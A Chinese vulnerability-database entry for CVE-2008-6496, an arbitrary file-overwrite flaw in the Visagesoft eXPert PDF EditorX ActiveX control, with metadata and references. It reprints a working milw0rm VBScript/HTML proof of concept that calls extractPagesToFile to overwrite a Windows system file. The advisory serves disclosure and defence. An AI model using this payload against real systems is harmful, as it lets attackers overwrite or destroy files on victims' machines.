Visagesoft eXPert PDF EditorX ActiveX控件任意文件覆盖漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116942 漏洞类型 权限许可和访问控制
发布时间 2008-12-05 更新时间 2009-03-20
CVE编号 CVE-2008-6496 CNNVD-ID CNNVD-200903-333
漏洞平台 Windows CVSS评分 8.8
|漏洞来源
https://www.exploit-db.com/exploits/7358
https://cxsecurity.com/issue/WLB-2009030207
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-333
|漏洞详情
eXPertPDFViewer是为windows应用开发人员设计的可嵌入式PDF查看器。VSPDFEditorX.VSPDFEditActiveX控件(VSPDFEditorX.ocx)所提供的extractPagesToFile()方式没有正确地验证用户所提交的Filename和PagesRange参数,如果用户受骗访问了恶意网页并传送了恶意参数的话,就可能向用户系统保存或覆盖任意文件。
|漏洞EXP
VISAGESOFT eXPert PDF EditorX (VSPDFEditorX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 FileVersion:   1.0.200.0
 CLSID:  {89F968A1-DBAC-4807-9B3C-405A55E4A279}
 Description: Visagesoft eXPert PDF EditorX
 ProgID:        VSPDFEditorX.VSPDFEdit
 
  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data
  KillBitSet: False
 
 ---Vulnerable method:
 ---extractPagesToFile(ByVal Filename  As String ,ByVal PagesRange  As String )

 ---Vulnerability Description:
    The "extractPagesToFile" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument.
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
<object classid='clsid:89F968A1-DBAC-4807-9B3C-405A55E4A279' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start'>
<script language='vbscript'>
Sub launch
target.extractPagesToFile "c:\windows\-system.ini","defaultV"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>

# milw0rm.com [2008-12-05]
|参考资料

来源:XF
名称:expertpdfeditorx-activex-file-overwrite(47166)
链接:http://xforce.iss.net/xforce/xfdb/47166
来源:BID
名称:32664
链接:http://www.securityfocus.com/bid/32664
来源:MILW0RM
名称:7358
链接:http://www.milw0rm.com/exploits/7358
来源:SECUNIA
名称:32990
链接:http://secunia.com/advisories/32990